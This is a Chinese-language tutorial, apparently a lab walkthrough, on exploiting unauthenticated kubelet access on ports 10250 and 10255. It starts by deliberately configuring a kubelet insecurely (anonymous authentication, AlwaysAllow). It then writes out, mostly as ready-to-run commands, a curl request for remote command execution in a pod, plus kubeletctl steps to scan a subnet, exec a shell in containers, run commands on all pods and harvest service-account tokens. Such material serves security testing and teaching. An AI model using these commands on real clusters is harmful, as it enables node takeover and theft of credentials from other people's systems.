Kubernetes中的kubelet是一个运行在每个工作节点上的核心组件,它负责管理节点上的容器生命周期、资源管理、镜像拉取、节点注册、Pod监控和报告、安全性控制以及日志和指标收集,协作容器运行时,以确保容器在节点上正确运行,从而实现容器编排和自动化容器管理。
Kubelet API Server (Port 10250) 未授权访问漏洞:此漏洞涉及到 kubelet API 服务器的端口 10250。默认情况下,kubelet API 服务器允许未授权的访问,这可能导致恶意用户或应用程序访问和执行敏感操作,如查看节点上的 Pod 数据,甚至更改节点的配置。此漏洞可能会导致安全性问题和数据泄漏。
Kubelet Read-Only Port (Port 10255) 未授权访问漏洞:此漏洞涉及到 kubelet 的只读端口,即端口 10255。默认情况下,kubelet 的只读端口也允许未授权的访问,允许恶意用户或应用程序查看节点上的一些敏感信息,如 Pod 日志和配置。尽管只读端口比完全的 kubelet API 服务器更受限制,但仍可能导致信息泄漏问题。
10250端口未授权访问
k8s默认安装后,kulelet是有授权的。
编辑 kubelet 的配置文件 /var/lib/kubelet/config.yaml (默认位置)并进行以下更改:
1. 设置authentication:anonymous:enabled为true(默认是false)
2. 设置authorization:mode为AlwaysAllow(默认是Webhook)
重启kubelet服务
systemctl restart kubelet
现在可以远程访问了
利用返回的信息执行命令
curl -XPOST -k "https://192.168.159.236:10250/run/kube-system/kube-proxy-ccqvn/kube-proxy" -d "cmd=hostname“
由于一些 API 命令与curl一起使用时比较复杂,我们使用一个更方便的客户端kubeletctl
项目地址:https://github.com/cyberark/kubeletctl
下载并安装
curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.9/kubeletctl_linux_amd64 && chmod a+x ./kubeletctl_linux_amd64 && mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl
接下来我们使用这个工具对kubernetes集群进行发现发现、侦察、远程代码执行
发现:发现10250端口
搜索打开 kubelet 端口的节点,我们可以在特定子网上使用kubeletctl scan命令
kubeletctl scan --cidr 192.168.159.0/24
侦察:列出节点上的pods
确定可访问的 kubelet API 后,我们需要检查可以提取哪些信息。最常见和最重要的信息是/pods端点,它将为我们提供 Pod 列表。
kubeletctl pods --server 192.168.159.236
容器内的远程代码执行
一旦我们获得了 Pod 和容器的详细信息,我们就可以在它们内部运行命令。kubeletctl添加scan rce参数来单独检查每个容器,以查看是否可以在其中运行命令。
kubeletctl scan rce --server 192.168.159.236
执行命令
kubeletctl exec "hostname" -p kube-proxy-ccqvn -c kube-proxy -n kube-system --server 192.168.159.236
进入容器
kubeletctl exec sh -p kube-proxy-ccqvn -c kube-proxy -n kube-system --server 192.168.159.236
更高级的一些用法
可以在节点内的所有 pod 上运行命令,而无需单独指定每个 pod 和容器
kubeletctl run "uname -a" --all-pods --server 192.168.159.236
攻击者在 Kubernetes 环境中最常见的事情之一就是搜索令牌,因此有一个特定的命令可以查看所有容器中的令牌
kubeletctl scan token --server 192.168.159.236
10255端口未授权访问
默认情况下k8s集群不对外开放10255端口,我们在配置文件config.yaml中添加readOnlyPort: 10255
重启kubelet服务
systemctl restart kubelet
现在可以访问集群的10255端口
10255端口是只读的,只能获取信息,无法对pod执行命令,读取token等操作。
获取pods信息
kubeletctl pods --server 192.168.159.236 --http --port=10255
执行读取token的命令没有返回结果
kubeletctl scan token --server 192.168.159.236 --http --port=10255